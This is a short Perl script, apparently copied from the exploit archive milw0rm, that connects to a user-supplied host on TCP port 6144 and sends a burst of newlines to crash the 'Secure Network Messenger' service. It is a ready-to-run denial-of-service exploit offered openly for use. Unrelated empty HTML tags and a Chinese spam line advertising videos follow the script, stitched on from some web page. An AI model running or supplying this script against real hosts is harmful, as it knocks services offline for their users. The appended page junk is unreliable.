#!/usr/bin/perl use IO::Socket; print ("\nSecure Network Messenger Crasher by ClearScreen\n"); print ("\nEnter host to crash: "); $h = ; chomp $h; $socks = IO::Socket::INET->new( Proto => "tcp", PeerPort => "6144", PeerAddr => "$h" ) or die "\nNo response from host."; sleep 1; print "\nSuccesfully connected to $h!\n"; for ($count=1; $count<15; $count++) { print $socks "\n"; select(undef, undef, undef, 0.1); } print "\nMessenger crashed."; close $socks; # milw0rm.com [2004-11-15]

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频